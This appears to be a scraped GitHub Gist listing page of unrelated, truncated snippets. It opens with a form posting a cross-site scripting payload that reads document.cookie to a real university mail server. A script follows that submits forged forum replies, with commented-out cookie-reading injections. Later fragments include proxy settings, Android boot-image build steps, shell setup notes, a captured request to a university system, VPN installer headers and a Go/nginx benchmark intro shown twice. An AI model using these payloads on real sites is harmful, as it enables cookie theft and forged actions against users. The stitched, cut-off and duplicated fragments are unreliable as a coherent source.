Skip to content

Instantly share code, notes, and snippets.

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>北京航空航天大学</title>
</head>
<form action="http://mail.buaa.edu.cn/remote.php" method="post" name=myform>
<input type=text name="LoginName" value=' \、";alert(document.cookie);//"'></input>
<input type="submit" value="submit" onclick="document.myform.submit();"/>
</form>
</html>
var postUrl="http://buaabt.cn/tools/ajax.aspx?topicid=319105&postid=0&postreplynotice=true&t=quickreply";
var httpRequest=new XMLHttpRequest();
httpRequest.open('POST',postUrl, false);
httpRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
//httpRequest.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
//data ="username=\");console.log(document.cookie);//&email=&question=0&answer=&login=";
//data ="username=\");alert(1);//&email=&question=0&answer=&login=";
var text="ccc";
data="title=&postlayer=-1&postid=0&usesig=1&postreplynotice=on&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&message=" + text + "&replysubmit=";
httpRequest.send(data);
#!/usr/bin/env bash
# gsettings list-recursively org.gnome.system.proxy
# Change de ip address and port number accordingly.
function myProxyOn() {
gsettings set org.gnome.system.proxy mode 'manual' # ' manual / nome / automatic '
gsettings set org.gnome.system.proxy.http host '10.0.0.1'
gsettings set org.gnome.system.proxy.http port 8080
gsettings set org.gnome.system.proxy.https host '10.0.0.1'
get Android source code: http://source.android.com/source/downloading.html
$ cd /path/to/android-src
$ cd system/core/libmincrypt/
$ gcc -c *.c -I../include
$ ar rcs libmincrypt.a *.o
$ cd ../mkbootimg
$ gcc mkbootimg.c -o mkbootimg -I../include ../libmincrypt/libmincrypt.a
$ cd ../cpio
$ gcc mkbootfs.c -o mkbootfs -I../include
### INSTALLATION NOTES ###
# 1. Install Homebrew (https://github.com/mxcl/homebrew)
# 2. brew install zsh
# 3. Install OhMyZsh (https://github.com/robbyrussell/oh-my-zsh)
# 4. brew install reattach-to-user-namespace --wrap-pbcopy-pbpaste && brew link reattach-to-user-namespace
# 5. Install iTerm2
# 6. In iTerm2 preferences for your profile set:
# Character Encoding: Unicode (UTF-8)
# Report Terminal Type: xterm-256color
# 7. Put itunesartist and itunestrack into PATH
Remote Address:219.239.227.74:80
Request URL:http://gsmis.graduate.buaa.edu.cn/gsmis/py/py_ktyzqjc_recordlist_action.do?method=save
Request Method:POST
Status Code:200 OK
Request Headersview source
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding:gzip,deflate,sdch
Accept-Language:zh-CN,zh;q=0.8,en;q=0.6
Cache-Control:max-age=0
# Automaticlly install pptpd on Amazon EC2 Amazon Linux
#
# Ripped from http://blog.diahosting.com/linux-tutorial/pptpd/
# pptpd source rpm packing by it's authors
#
# WARNING:
# first ms-dns setting to 172.16.0.23, 172.16.0.23 was showing on my
# /etc/resolv.conf, I'm not sure this is the same on all Amazon AWS zones.
#
# You need to adjust your "Security Groups" which you are using too.
#!/bin/bash
# Modified by Tianyong Tang
#
# Original version's Copyright infomation:
#
####################################################
# #
# This is a Shell-Based tool of l2tp installation #
# Version: 1.2 #

Benchmarking Nginx with Go

There are a lot of ways to serve a Go HTTP application. The best choices depend on each use case. Currently nginx looks to be the standard web server for every new project even though there are other great web servers as well. However, how much is the overhead of serving a Go application behind an nginx server? Do we need some nginx features (vhosts, load balancing, cache, etc) or can you serve directly from Go? If you need nginx, what is the fastest connection mechanism? This are the kind of questions I'm intended to answer here. The purpose of this benchmark is not to tell that Go is faster or slower than nginx. That would be stupid.

So, these are the different settings we are going to compare:

  • Go HTTP standalone (as the control group)
  • Nginx proxy to Go HTTP
  • Nginx fastcgi to Go TCP FastCGI
  • Nginx fastcgi to Go Unix Socket FastCGI

Benchmarking Nginx with Go

There are a lot of ways to serve a Go HTTP application. The best choices depend on each use case. Currently nginx looks to be the standard web server for every new project even though there are other great web servers as well. However, how much is the overhead of serving a Go application behind an nginx server? Do we need some nginx features (vhosts, load balancing, cache, etc) or can you serve directly from Go? If you need nginx, what is the fastest connection mechanism? This are the kind of questions I'm intended to answer here. The purpose of this benchmark is not to tell that Go is faster or slower than nginx. That would be stupid.

So, these are the different settings we are going to compare:

  • Go HTTP standalone (as the control group)
  • Nginx proxy to Go HTTP
  • Nginx fastcgi to Go TCP FastCGI
  • Nginx fastcgi to Go Unix Socket FastCGI